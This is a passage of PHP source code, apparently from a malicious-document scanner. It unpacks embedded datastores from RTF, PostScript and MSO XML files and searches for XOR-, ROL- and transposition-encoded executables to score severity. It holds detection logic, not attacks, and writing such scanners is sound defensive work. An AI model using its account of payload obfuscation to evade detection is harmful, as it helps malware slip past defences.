10; $i <= 16; $i+=2) {\n\t\t\t$dec = @gzinflate(substr($dataa, $pk+$i));\n\t\t\tif (strlen($dec) > 0) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (strlen($dec) > 0) {\n\t\t\t$l = $local;\n\t\t\t$datastored = array();\n\t\t\tfile_put_contents($filename.\"-datastore-\".$l, $dec);\n\t\t\t$dresult = analyseDoc($filename.\"-datastore-\".$l);\n\n\t\t\tif ($dresult['severity'] > 0)\n\t\t\t\t$datastored[\"datastore-\".$l] = $dresult;\n\t\t\telse\n\t\t\t\tunlink($filename.\"-datastore-\".$l);\n\t\t\t\n\t\t\t\t\t\n\t\t\t\n\t\t\tforeach ($datastored as $fname => $xresult) {\n\t\t\t\tif ($xresult['severity'] > 0) {\n\t\t\t\t\t$sampleUpdate['severity'] += $xresult['severity'];\n\t\t\t\t\tif ($xresult['has_exe'] == 1)\n\t\t\t\t\t\t$sampleUpdate['has_exe'] = 1;\n\t\t\t\t\tif ($xresult['is_malware'] == 1)\n\t\t\t\t\t\t$sampleUpdate['is_malware'] = 1;\n\t\t\t\t\t$summaries = explode(\"\\n\", $xresult['summary']);\n\t\t\t\t\t$sampleUpdate['summary'] .= \"embedded.file $fname \".$xresult['md5'].\"\\n\";\n\t\t\t\t\tif (isset($xresult['yara']))\n\t\t\t\t\t\t$sampleUpdate['yara'] = array_merge($sampleUpdate['yara'],$xresult['yara']) ;\n\n\t\t\t\t\tforeach ($summaries as $line) {\n\t\t\t\t\t\tif ($line != '') {\n\t\t\t\t\t\t\t$sampleUpdate['summary'] .= \"$fname\";\n\t\t\t\t\t\t\tif ( $xresult['key_rol'] != '' && $xresult['key_rol'] != '0' && !strstr($line, 'rol'))\n\t\t\t\t\t\t\t\t$line = str_replace(\": \", \": rol\".$xresult['key_rol'].\".\", $line);\n\t\t\t\t\t\t\tif ($xresult['key'] != '' && !strstr($line, 'xor'))\n\t\t\t\t\t\t\t\t$line = str_replace(\": \", \": xor_0x\".$xresult['key'].\".\", $line);\n\n\t\t\t\t\t\t\t$sampleUpdate['summary'] .= \".$line\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$sampleUpdate['completed'] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\n\n\t\t$dataa = substr($dataa, $pk+4);\n\t}\n\tunset($dataa);\n\n\n\t//check for datastore in RTF\n\tif (stristr(substr($data, 0, 256),'\\rt')) {\n\n\n\t\t$d = parseRTF($data);\n\t\tpreg_match_all(\"/([a-zA-Z0-9\\x0a\\x0d\\x09]*)/s\", $d, $match, PREG_OFFSET_CAPTURE);\n\t\tif (isset($match[1][0])) {\n\t\t\t$datastored = array();\n\t\t\tforeach($match[1] as $matches0) {\n\t\t\t\tif (isset($matches0[1])) {\n\t\t\t\t\t$l = $matches0[1];\n\t\t\t\t\t$len = strlen($matches0[0]);\n\t\t\t\t\tif ($len > 256) {\n\t\t\t\t\t\tfile_put_contents($filename.\"-datastore-\".$l, hex2str($matches0[0]));\n\t\t\t\t\t\t//echo hex2str($matches0[0]);\n\t\t\t\t\t\t$dresult = analyseDoc($filename.\"-datastore-\".$l);\n\n\t\t\t\t\t\tif ($dresult['severity'] > 0)\n\t\t\t\t\t\t\t$datastored[\"datastore-\".$l] = $dresult;\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\tunlink($filename.\"-datastore-\".$l);\n\t\t\t\t\t\t\tfile_put_contents($filename.\"-datastore-\".$l, hex2str(\"0\".$matches0[0]));\n\t\t\t\t\t\t\t//echo hex2str($matches0[0]);\n\t\t\t\t\t\t\t$dresult = analyseDoc($filename.\"-datastore-\".$l);\n\n\t\t\t\t\t\t\tif ($dresult['severity'] > 0)\n\t\t\t\t\t\t\t\t$datastored[\"datastore-\".$l] = $dresult;\n\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\tunlink($filename.\"-datastore-\".$l);\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach ($datastored as $fname => $xresult) {\n\t\t\t\tif ($xresult['severity'] > 0) {\n\t\t\t\t\t$sampleUpdate['severity'] += $xresult['severity'];\n\t\t\t\t\tif ($xresult['has_exe'] == 1)\n\t\t\t\t\t\t$sampleUpdate['has_exe'] = 1;\n\t\t\t\t\tif ($xresult['is_malware'] == 1)\n\t\t\t\t\t\t$sampleUpdate['is_malware'] = 1;\n\t\t\t\t\t$summaries = explode(\"\\n\", $xresult['summary']);\n\t\t\t\t\t$sampleUpdate['summary'] .= \"embedded.file $fname \".$xresult['md5'].\"\\n\";\n\t\t\t\t\tif (isset($xresult['yara']))\n\t\t\t\t\t\t$sampleUpdate['yara'] = array_merge($sampleUpdate['yara'],$xresult['yara']) ;\n\n\t\t\t\t\tforeach ($summaries as $line) {\n\t\t\t\t\t\tif ($line != '') {\n\t\t\t\t\t\t\t$sampleUpdate['summary'] .= \"$fname\";\n\t\t\t\t\t\t\tif ( $xresult['key_rol'] != '' && $xresult['key_rol'] != '0' && !strstr($line, 'rol'))\n\t\t\t\t\t\t\t\t$line = str_replace(\": \", \": rol\".$xresult['key_rol'].\".\", $line);\n\t\t\t\t\t\t\tif ($xresult['key'] != '' && !strstr($line, 'xor'))\n\t\t\t\t\t\t\t\t$line = str_replace(\": \", \": xor_0x\".$xresult['key'].\".\", $line);\n\n\t\t\t\t\t\t\t$sampleUpdate['summary'] .= \".$line\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$sampleUpdate['completed'] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\t//store datastore xor information\n\n\t\t}\n\n\t}\n\n\n\n\t//check for datastore in Postscript\n\tif (stristr(substr($data, 0, 4),'%!PS')) {\n\t\tpreg_match_all(\"/([a-zA-Z0-9\\x0a\\x0d\\x20\\x09]*)/s\", $d, $match, PREG_OFFSET_CAPTURE);\n\t\tif (isset($match[1][0])) {\n\t\t\t$datastored = array();\n\t\t\tforeach($match[1] as $matches0) {\n\t\t\t\tif (isset($matches0[1])) {\n\t\t\t\t\t$l = $matches0[1];\n\t\t\t\t\t$len = strlen($matches0[0]);\n\t\t\t\t\tif ($len > 1024) {\n\t\t\t\t\t\tfile_put_contents($filename.\"-datastore-\".$l, hex2str($matches0[0]));\n\t\t\t\t\t\t//echo hex2str($matches0[0]);\n\t\t\t\t\t\t$dresult = analyseDoc($filename.\"-datastore-\".$l);\n\n\t\t\t\t\t\tif ($dresult['severity'] > 0)\n\t\t\t\t\t\t\t$datastored[\"datastore-\".$l] = $dresult;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tunlink($filename.\"-datastore-\".$l);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach ($datastored as $fname => $xresult) {\n\t\t\t\tif ($xresult['severity'] > 0) {\n\t\t\t\t\t$sampleUpdate['severity'] += $xresult['severity'];\n\t\t\t\t\tif ($xresult['has_exe'] == 1)\n\t\t\t\t\t\t$sampleUpdate['has_exe'] = 1;\n\t\t\t\t\tif ($xresult['is_malware'] == 1)\n\t\t\t\t\t\t$sampleUpdate['is_malware'] = 1;\n\t\t\t\t\t$summaries = explode(\"\\n\", $xresult['summary']);\n\t\t\t\t\t$sampleUpdate['summary'] .= \"embedded.file $fname \".$xresult['md5'].\"\\n\";\n\t\t\t\t\tif (isset($xresult['yara']))\n\t\t\t\t\t\t$sampleUpdate['yara'] = array_merge($sampleUpdate['yara'],$xresult['yara']) ;\n\n\t\t\t\t\tforeach ($summaries as $line) {\n\t\t\t\t\t\tif ($line != '') {\n\t\t\t\t\t\t\t$sampleUpdate['summary'] .= \"$fname\";\n\t\t\t\t\t\t\tif ( $xresult['key_rol'] != '' && $xresult['key_rol'] != '0' && !strstr($line, 'rol'))\n\t\t\t\t\t\t\t\t$line = str_replace(\": \", \": rol\".$xresult['key_rol'].\".\", $line);\n\t\t\t\t\t\t\tif ($xresult['key'] != '' && !strstr($line, 'xor'))\n\t\t\t\t\t\t\t\t$line = str_replace(\": \", \": xor_0x\".$xresult['key'].\".\", $line);\n\n\t\t\t\t\t\t\t$sampleUpdate['summary'] .= \".$line\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$sampleUpdate['completed'] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\t//store datastore xor information\n\n\t\t}\n\t}\n\n\t//check for data in mime mso xml\n\tif (stristr(substr($data, 0, 256),'xml') || stristr(substr($data, 0, 256),'MIME-Version') ) {\t\t\t\t\t\tpreg_match_all(\"/([a-zA-Z0-9\\/+=\\x0a\\x0d]{1024,})/s\", $data, $match, PREG_OFFSET_CAPTURE);\n\t\tif (isset($match[1][0])) {\n\t\t\t$datastored = array();\n\t\t\tforeach($match[1] as $matches0) {\n\t\t\t\tif (isset($matches0[1])) {\n\t\t\t\t\t$l = $matches0[1];\n\t\t\t\t\t$d64 = \"\";\n\t\t\t\t\tif (substr($matches0[0], 0, 3) == \"mso\")\n\t\t\t\t\t\t$d64 = base64_decode(substr($matches0[0], 4), false);\n\t\t\t\t\telse\n\t\t\t\t\t\t$d64 = base64_decode($matches0[0], false);\n\n\n\t\t\t\t\t$len0 = strlen($d64);\n\n\t\t\t\t\tif ($len0 > 0) {\n\n\t\t\t\t\t\tif (stristr(substr($d64, 0, 10), 'ActiveMime' )) {\n\n\t\t\t\t\t\t\t$s64 = $d64;\n\t\t\t\t\t\t\t$d64 = @gzuncompress(substr($s64, 50) );\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t$len = strlen($d64);\n\n\t\t\t\t\t\t\tif ($len == 0) {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tfor ($i=0;$i < strlen($s64); $i++) {\n\t\t\t\t\t\t\t\t\t$d64 = @gzuncompress(substr($s64, $i));\n\t\t\t\t\t\t\t\t\t$len = strlen($d64);\n\t\t\t\t\t\t\t\t\tif ($len > 0) break;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t$len = strlen($d64);\n\t\t\t\t\tif ($len > 1024) {\n\t\t\t\t\t\tfile_put_contents($filename.\"-datastore-\".$l, $d64);\n\n\t\t\t\t\t\t$dresult = analyseDoc($filename.\"-datastore-\".$l);\n\n\t\t\t\t\t\tif ($dresult['severity'] > 0)\n\t\t\t\t\t\t\t$datastored[\"datastore-\".$l] = $dresult;\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tunlink($filename.\"-datastore-\".$l);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tforeach ($datastored as $fname => $xresult) {\n\t\t\t\tif ($xresult['severity'] > 0) {\n\t\t\t\t\t$sampleUpdate['severity'] += $xresult['severity'];\n\t\t\t\t\tif ($xresult['has_exe'] == 1)\n\t\t\t\t\t\t$sampleUpdate['has_exe'] = 1;\n\t\t\t\t\tif ($xresult['is_malware'] == 1)\n\t\t\t\t\t\t$sampleUpdate['is_malware'] = 1;\n\t\t\t\t\t$summaries = explode(\"\\n\", $xresult['summary']);\n\t\t\t\t\t$sampleUpdate['summary'] .= \"embedded.file $fname \".$xresult['md5'].\"\\n\";\n\t\t\t\t\tif (isset($xresult['yara']))\n\t\t\t\t\t\t$sampleUpdate['yara'] = array_merge($sampleUpdate['yara'],$xresult['yara']) ;\n\n\t\t\t\t\tforeach ($summaries as $line) {\n\t\t\t\t\t\tif ($line != '') {\n\t\t\t\t\t\t\t$sampleUpdate['summary'] .= \"$fname\";\n\t\t\t\t\t\t\tif ( $xresult['key_rol'] != '' && $xresult['key_rol'] != '0' && !strstr($line, 'rol'))\n\t\t\t\t\t\t\t\t$line = str_replace(\": \", \": rol\".$xresult['key_rol'].\".\", $line);\n\t\t\t\t\t\t\tif ($xresult['key'] != '' && !strstr($line, 'xor'))\n\t\t\t\t\t\t\t\t$line = str_replace(\": \", \": xor_0x\".$xresult['key'].\".\", $line);\n\n\t\t\t\t\t\t\t$sampleUpdate['summary'] .= \".$line\\n\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$sampleUpdate['completed'] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t\t//store datastore xor information\n\n\t\t}\n\t}\n\n\n\t$result = cryptoStat($data);\n\t$exploits = array();\n\t$hits = array();\n\tif (isset($result['exploits'])) {\n\t\t$exploits = $result['exploits'];\n\t\tunset($result['exploits']);\n\t}\n\n\tforeach ($sampleUpdate as $key => $value) {\n\t\tif ($value != \"0\" && $value != '')\n\t\t\tif (!isset($result[$key]) || $result[$key] == 0 || $result[$key] == 0)\n\t\t\t\tunset($result[$key]);\n\t}\n\n\t$result = array_merge($sampleUpdate,$result);\n\n\t$summary = $result['summary'];\n\t$severity = $result['severity'];\n\n\t$rol = 0;\n\t$not = 0;\n\t$la = 0;\n\t$tp = 0;\n\t$tph = 0;\n\t$math = 0;\n\t$has_exe = $result['has_exe'];\n\n\n\tforeach ($exploits as $l => $hit) {\n\t\tif (isset($hit['exploit']) && $hit['exploit'] != '') {\n\t\t\t$hit['parent_md5'] = $md5;\n\t\t\t$hit['parent_sha256'] = $sha256;\n\t\t\t$hits[$hit['exploit_loc']] = $hit;\n\t\t\t$summary .= $hit['exploit_loc'].\": \".$hit['hit_desc'].\"\\n\";\n\t\t\tif (preg_match(\"/exploit\\./\", $hit['hit_desc'], $match))\n\t\t\t\t$severity += 20;\n\t\t\telse\n\t\t\t\t$severity += 2;\n\t\t\t\n\t\t} else {\n\t\t\t$hit['parent_md5'] = $md5;\n\t\t\t$hit['parent_sha256'] = $sha256;\n\t\t\t$hits[$hit['exploit_loc']] = $hit;\n\t\t\t$summary .= $hit['exploit_loc'].\": \".$hit['hit_desc'].\"\\n\";\n\t\t\t$severity += 10;\n\n\t\t\tif (preg_match(\"/^rol(\\d+)/\", $hit['hit_desc'], $match))\n\t\t\t\t$rol = $match[1];\n\t\t\tif (preg_match(\"/^not/\", $hit['hit_desc'], $match))\n\t\t\t\t$not = 1;\n\t\t\tif (preg_match(\"/^xorla/\", $hit['hit_desc'], $match))\n\t\t\t\t$la = 1;\n\t\t\tif (preg_match(\"/transposition cipher/\", $hit['hit_desc'], $match)) {\n\t\t\t\tif (preg_match(\"/This program/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$tph = 1;\n\t\t\t\telse\n\t\t\t\t\t$tp = 1;\n\t\t\t}\n\n\t\t\t$has_exe = 1;\n\t\t}\n\n\t}\n\n\tif ( $has_exe == 1) { //plaintext\n\t\t$result['key'] = '';\n\t\t$result['key_len'] = 0;\n\t\t$result['key_occ'] = 0;\n\t\t$result['key_hash'] = '';\n\t\t$result['key_rank'] = 0;\n\t\t$result['key_entropy'] = '';\n\n\n\t} else if ($result['key'] == \"00\") {\n\t\t//echo \"<P>key 00 recheck</P>\\n\";\n\t\t$xorexp = scanXORByte($data);\n\t\t$xor = $xorexp['xor'];\n\t\t//var_dump($xorexp);\n\t\tunset($xorexp['xor']);\n\t\tif ($xor != '') {\n\t\t\t$result['key'] = $xor;\n\t\t\t$result['key_len'] = 1;\n\t\t\t$result['key_occ'] = 0;\n\t\t\t$result['key_entropy'] = 100.0;\n\t\t\t$result['key_zero'] = 1;\n\n\t\t\tforeach ($xorexp as $l => $hit) {\n\t\t\t\t$hit['parent_md5'] = $md5;\n\t\t\t\t$hit['parent_sha256'] = $sha256;\n\t\t\t\t$hits[$hit['exploit_loc']] = $hit;\n\t\t\t\t$summary .= $hit['exploit_loc'].\": \".$hit['hit_desc'].\"\\n\";\n\t\t\t\t$severity += 10;\n\n\t\t\t\tif (preg_match(\"/\\.rol(\\d+)/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$rol = $match[1];\n\t\t\t\tif (preg_match(\"/\\.not/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$not = 1;\n\t\t\t\tif (preg_match(\"/\\.xorla/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$la = 1;\n\n\t\t\t\tif (preg_match(\"/transposition cipher/\", $hit['hit_desc'], $match)) {\n\t\t\t\t\tif (preg_match(\"/This program/\", $hit['hit_desc'], $match))\n\t\t\t\t\t\t$tph = 1;\n\t\t\t\t\telse\n\t\t\t\t\t\t$tp = 1;\n\t\t\t\t}\n\n\t\t\t\t$has_exe = 1;\n\t\t\t}\n\t\t} else {\n\t\t\t$result['key'] = '';\n\t\t\t$result['key_len'] = 0;\n\t\t\t$result['key_occ'] = 0;\n\t\t\t$result['key_entropy'] = '';\n\t\t\tif (count($hits) == 0)\n\t\t\t\t$result['is_malware'] = 0;\n\t\t\t\n\t\t}\n\n\n\t} else if (isset($result['key_len']) && $result['key_len'] > 0) {\n\t\t$malware = scanFile($data, $result['key']);\n\n\t\tif (count($malware) <= 1) {\n\t\t\t\n\t\t\tforeach ($global_true_keys as $tkey) {\n\t\t\t\t$tkey_count = substr_count($data,hex2bin($tkey));\n\t\t\t\tif ($tkey_count > 1) {\n\t\t\t\t\t$kl = strlen($tkey) / 2;\n\t\t\t\t\t$tkey_try = substr($tkey.$tkey,($kl-strpos($data,hex2bin($tkey)) % $kl)*2, $kl*2);\n\t\t\t\t\t$m2 = scanFile($data, $tkey_try);\n\t\t\t\t\tif (count($m2) > 1) {\n\t\t\t\t\t\t$result['key'] = $tkey_try;\n\t\t\t\t\t\t$result['key_len'] = strlen($tkey_try)/2;\n\t\t\t\t\t\t$malware = $m2; //import\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\n\n\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}\n\n\n\t\tforeach ($malware as $l => $hit) {\n\t\t\t$hit['parent_md5'] = $md5;\n\t\t\t$hit['parent_sha256'] = $sha256;\n\t\t\t$hits[$hit['exploit_loc']] = $hit;\n\t\t\t$summary .= $hit['exploit_loc'].\": \".$hit['hit_desc'].\"\\n\";\n\t\t\t$severity += 10;\n\n\t\t\tif (preg_match(\"/^rol(\\d+)/\", $hit['hit_desc'], $match))\n\t\t\t\t$rol = $match[1];\n\t\t\tif (preg_match(\"/^not/\", $hit['hit_desc'], $match))\n\t\t\t\t$not = 1;\n\t\t\tif (preg_match(\"/^xorla/\", $hit['hit_desc'], $match))\n\t\t\t\t$la = 1;\n\n\t\t\tif (preg_match(\"/transposition cipher/\", $hit['hit_desc'], $match)) {\n\t\t\t\tif (preg_match(\"/This program/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$tph = 1;\n\t\t\t\telse\n\t\t\t\t\t$tp = 1;\n\t\t\t}\n\n\t\t\t$has_exe = 1;\n\t\t}\n\n\n\t}\n\n\tif ($result['key_len'] == 1024 && $has_exe != 1) {\n\t\t$xorexp = scanXORByte($data);\n\t\t$xor = $xorexp['xor'];\n\t\t//var_dump($xorexp);\n\t\tunset($xorexp['xor']);\n\t\tif ($xor != '') {\n\t\t\t$result['key'] = $xor;\n\t\t\t$result['key_len'] = 1;\n\t\t\t$result['key_occ'] = 0;\n\t\t\t$result['key_entropy'] = 100.0;\n\t\t\t$result['key_zero'] = 1;\n\n\t\t\tforeach ($xorexp as $l => $hit) {\n\t\t\t\t$hit['parent_md5'] = $md5;\n\t\t\t\t$hit['parent_sha256'] = $sha256;\n\t\t\t\t$hits[$hit['exploit_loc']] = $hit;\n\t\t\t\t$summary .= $hit['exploit_loc'].\": \".$hit['hit_desc'].\"\\n\";\n\t\t\t\t$severity += 10;\n\n\t\t\t\tif (preg_match(\"/\\.rol(\\d+)/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$rol = $match[1];\n\t\t\t\tif (preg_match(\"/\\.not/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$not = 1;\n\t\t\t\tif (preg_match(\"/\\.xorla/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$la = 1;\n\t\n\t\t\t\tif (preg_match(\"/transposition cipher/\", $hit['hit_desc'], $match)) {\n\t\t\t\t\tif (preg_match(\"/This program/\", $hit['hit_desc'], $match))\n\t\t\t\t\t\t$tph = 1;\n\t\t\t\t\telse\n\t\t\t\t\t\t$tp = 1;\n\t\t\t\t}\n\n\t\t\t\t$has_exe = 1;\n\t\t\t}\n\t\t} else {\n\t\t\t$result['key'] = '';\n\t\t\t$result['key_hash'] = '';\n\t\t\t$result['key_len'] = 0;\n\t\t\t$result['key_rank'] = 0;\n\t\t\t$result['key_occ'] = 0;\n\t\t\t$result['key_entropy'] = '';\n\t\t\tif (count($hits) == 0 && $severity < 2) { //Mar 5 2015\n\t\t\t\t$result['is_malware'] = 0;\n\n\t\t\t}\n\t\t\t\n\t\t}\n\n\t}\n\n\n\tif ($result['is_malware'] == 1 && $severity == 0) \n\t\t$severity = 1;\n\n\t$result['has_exe'] = $has_exe;\n\n\n\n\t//check near the end of file\n\tif ($result['has_exe'] == 0 && isset($result['key_blocks']) && $fsize > 20000 && $global_paranoid == 1) {\n\t\t//echo \"trigger special case for dropped document uses a different key then exe, inverse3\\n\";\n\t\t$longest = longestOne($result['key_blocks']);\n\t\t//var_dump($longest);\n\t\t//echo \"do from \".(($longest['pos']+7)*1024).\" for \".(($longest['len']-7)*1024).\"\\n\";\n\t\t\n\t\t$subres = cryptoStat(substr($data, (($longest['pos']+7)*1024), (($longest['len']-7)*1024) ));\t\t\n\t\t//var_dump($subres);\n\t\t$submalw = scanFile($data, $subres['key']);\n\n\t\t//var_dump($submalw);\n\n\n\t\tforeach ($submalw as $l => $hit) {\n\t\t\t$hit['parent_md5'] = $md5;\n\t\t\t$hit['parent_sha256'] = $sha256;\n\t\t\t$hits[$hit['exploit_loc']] = $hit;\n\t\t\t$summary .= $hit['exploit_loc'].\": \".$hit['hit_desc'].\"\\n\";\n\t\t\t$severity += 10;\n\n\t\t\tif (preg_match(\"/^rol(\\d+)/\", $hit['hit_desc'], $match))\n\t\t\t\t$rol = $match[1];\n\t\t\tif (preg_match(\"/^not/\", $hit['hit_desc'], $match))\n\t\t\t\t$not = 1;\n\t\t\tif (preg_match(\"/^xorla/\", $hit['hit_desc'], $match))\n\t\t\t\t$la = 1;\n\n\t\t\tif (preg_match(\"/transposition cipher/\", $hit['hit_desc'], $match)) {\n\t\t\t\tif (preg_match(\"/This program/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$tph = 1;\n\t\t\t\telse\n\t\t\t\t\t$tp = 1;\n\t\t\t}\n\n\t\t\t$has_exe = 1;\n\t\t}\n\n\n\t\tif ($has_exe == 1) {\n\t\t\t$result['key'] = $subres['key'];\n\t\t\t$result['key_len'] = $subres['key_len'];\n\t\t\t$result['key_occ'] = $subres['key_occ'];\n\t\t\t$result['key_rank'] = $subres['key_rank'];\n\t\t\t$result['key_entropy'] = $subres['key_entropy'];\n\t\t\t$result['h_dispersion'] = $subres['h_dispersion'];\n\t\t\t$result['h_distribution'] = $subres['h_distribution'];\n\t\t\tif (isset($subres['key_zero']))\n\t\t\t\t$result['key_zero'] = $subres['key_zero'];\n\t\t\t$result['key_hash'] = $subres['key_hash'];\n\t\t\t$result['is_malware'] = 1;\n\t\t\t$result['has_exe'] = 1;\n\t\t}\n\n\t}\n\n\n\n\n\n\n\n\t//start start of entropy area\n\tif ($result['has_exe'] == 0 && isset($result['key_blocks'])&& $fsize > 20000 && $global_paranoid == 1) {\n\t\t//echo \"trigger special case for dropped document uses a different key then exe\\n\";\n\t\t//echo $result['key_blocks'].\"\\n\";\n\t\t$check = strpos($result['key_blocks'],'11111111111');\n\t\t$checkFile = strlen($result['key_blocks']);\n\t\t$magicSize = number_format(($checkFile - $check) * 0.25 * 1024, 0, '.', '');\n\t\tif ($magicSize > 64000) $magicSize = 64000;\n\t\t//echo \"looking at \".($check*1024).\" bytes+$magicSize\\n\";\n\t\t$subres = cryptoStat(substr($data, $check*1024, $magicSize));\n\t\t//var_dump($subres);\n\t\t$submalw = scanFile($data, $subres['key']);\n\n\t\t//var_dump($submalw);\n\n\n\t\tforeach ($submalw as $l => $hit) {\n\t\t\t$hit['parent_md5'] = $md5;\n\t\t\t$hit['parent_sha256'] = $sha256;\n\t\t\t$hits[$hit['exploit_loc']] = $hit;\n\t\t\t$summary .= $hit['exploit_loc'].\": \".$hit['hit_desc'].\"\\n\";\n\t\t\t$severity += 10;\n\n\t\t\tif (preg_match(\"/^rol(\\d+)/\", $hit['hit_desc'], $match))\n\t\t\t\t$rol = $match[1];\n\t\t\tif (preg_match(\"/^not/\", $hit['hit_desc'], $match))\n\t\t\t\t$not = 1;\n\t\t\tif (preg_match(\"/^xorla/\", $hit['hit_desc'], $match))\n\t\t\t\t$la = 1;\n\n\t\t\tif (preg_match(\"/transposition cipher/\", $hit['hit_desc'], $match)) {\n\t\t\t\tif (preg_match(\"/This program/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$tph = 1;\n\t\t\t\telse\n\t\t\t\t\t$tp = 1;\n\t\t\t}\n\n\t\t\t$has_exe = 1;\n\t\t}\n\n\n\t\tif ($has_exe == 1) {\n\t\t\t$result['key'] = $subres['key'];\n\t\t\t$result['key_len'] = $subres['key_len'];\n\t\t\t$result['key_occ'] = $subres['key_occ'];\n\t\t\t$result['key_rank'] = $subres['key_rank'];\n\t\t\t$result['key_entropy'] = $subres['key_entropy'];\n\t\t\t$result['h_dispersion'] = $subres['h_dispersion'];\n\t\t\t$result['h_distribution'] = $subres['h_distribution'];\n\t\t\tif (isset($subres['key_zero']))\n\t\t\t\t$result['key_zero'] = $subres['key_zero'];\n\t\t\t$result['key_hash'] = $subres['key_hash'];\n\t\t\t$result['is_malware'] = 1;\n\t\t\t$result['has_exe'] = 1;\n\t\t}\n\n\t}\n\n\n\t//check end of file\n\tif ($result['has_exe'] == 0 && isset($result['key_blocks']) && $fsize > 20000 && $global_paranoid == 1) {\n\t\t//echo \"trigger special case for dropped document uses a different key then exe, inverse\\n\";\n\t\t//echo $result['key_blocks'].\"\\n\";\n\t\t$checkFile = strlen($result['key_blocks']);\n\t\t$magicSize = number_format($checkFile * 0.14 * 1024, 0, '.', '');\n\t\tif ($magicSize > 64000) $magicSize = 64000;\n\t\t//echo \"-$magicSize\\n\";\n\t\t$subres = cryptoStat(substr($data, -$magicSize));\n\t\t//var_dump($subres);\n\t\t$submalw = scanFile($data, $subres['key']);\n\n\t\t//var_dump($submalw);\n\n\n\t\tforeach ($submalw as $l => $hit) {\n\t\t\t$hit['parent_md5'] = $md5;\n\t\t\t$hit['parent_sha256'] = $sha256;\n\t\t\t$hits[$hit['exploit_loc']] = $hit;\n\t\t\t$summary .= $hit['exploit_loc'].\": \".$hit['hit_desc'].\"\\n\";\n\t\t\t$severity += 10;\n\n\t\t\tif (preg_match(\"/^rol(\\d+)/\", $hit['hit_desc'], $match))\n\t\t\t\t$rol = $match[1];\n\t\t\tif (preg_match(\"/^not/\", $hit['hit_desc'], $match))\n\t\t\t\t$not = 1;\n\t\t\tif (preg_match(\"/^xorla/\", $hit['hit_desc'], $match))\n\t\t\t\t$la = 1;\n\t\t\tif (preg_match(\"/transposition cipher/\", $hit['hit_desc'], $match)) {\n\t\t\t\tif (preg_match(\"/This program/\", $hit['hit_desc'], $match))\n\t\t\t\t\t$tph = 1;\n\t\t\t\telse\n\t\t\t\t\t$tp = 1;\n\t\t\t}\n\n\t\t\t$has_exe = 1;\n\t\t}\n\n\n\t\tif ($has_exe == 1) {\n\t\t\t$result['key'] = $subres['key'];\n\t\t\t$result['key_len'] = $subres['key_len'];\n\t\t\t$result['key_occ'] = $subres['key_occ'];\n\t\t\t$result['key_rank'] = $subres['key_rank'];\n\t\t\t$result['key_entropy'] = $subres['key_entropy'];\n\t\t\t$result['h_dispersion'] = $subres['h_dispersion'];\n\t\t\t$result['h_distribution'] = $subres['h_distribution'];\n\t\t\tif (isset($subres['key_zero']))\n\t\t\t\t$result['key_zero'] = $subres['key_zero'];\n\t\t\t$result['key_hash'] = $subres['key_hash'];\n\t\t\t$result['is_malware'] = 1;\n\t\t\t$result['has_exe'] = 1;\n\t\t}\n\n\t}\n\n\n\t//check middle of file\n\tif ($result['has_exe'] == 0 && isset($result['key_blocks'])&& $fsize > 20000 && $global_paranoid == 1) {\n\t\t//echo \"trigger special case for dropped document uses a different key then exe, middle\\n\";\n\t\t//echo $result['key_blocks'].\"\\n\";\n\t\t$checkFile = number_format(strlen($result['key_blocks']) / 2 * 1024, 0, '.', ''); ;\n\t\t$magicSize = $checkFile / 2;\n\t\tif ($magicSize > 64000) $magicSize = 64000;\n\t\t//echo \"$checkFile -$magicSize\\n\";\n\t\t$subres = cryptoStat(substr($data, $checkFile-$magicSize, $magicSize*2));\n\t\t//var_dump($subres);\n\t\t$submalw = scanFile($data, $subres['key']);\n\n\t\t//var_dump($submalw);\n\n\n\t\tforeach ($submalw as $l => $hit) {\n\t\t\t$hit['parent_md5'] = $md5;\n\t\t\t$hit['parent_sha256'] = $sha256;\n\t\t\t$hits[$hit['exploit_loc']] = $hit;\n\t\t\t$summary .= $hit['exploit_loc'].\": \".$hit['hit_desc'].\"\\n\";\n\t\t\t$severity += 10;\n\n\t\t\tif (preg_match(\"/^rol(\\d+)/\", $hit['hit_desc'], $match))\n\t\t\t\t$rol = $match[1];\n\t\t\tif (preg_match(\"/^not/\", $hit['hit_desc'], $match))\n\t\t\t\t$not = 1;\n\t\t\tif (preg_match(\"/^xorla/\", $hit['hit_desc'], $match))\n\t\t\t\t$la = 1;\n\t\t\tif (preg_match(\"/transposition cipher/\", $hit['hit_desc'], $match)) {\n\t\t\t\tif (preg_match(\"/This program/\", $hit['hit_desc'], 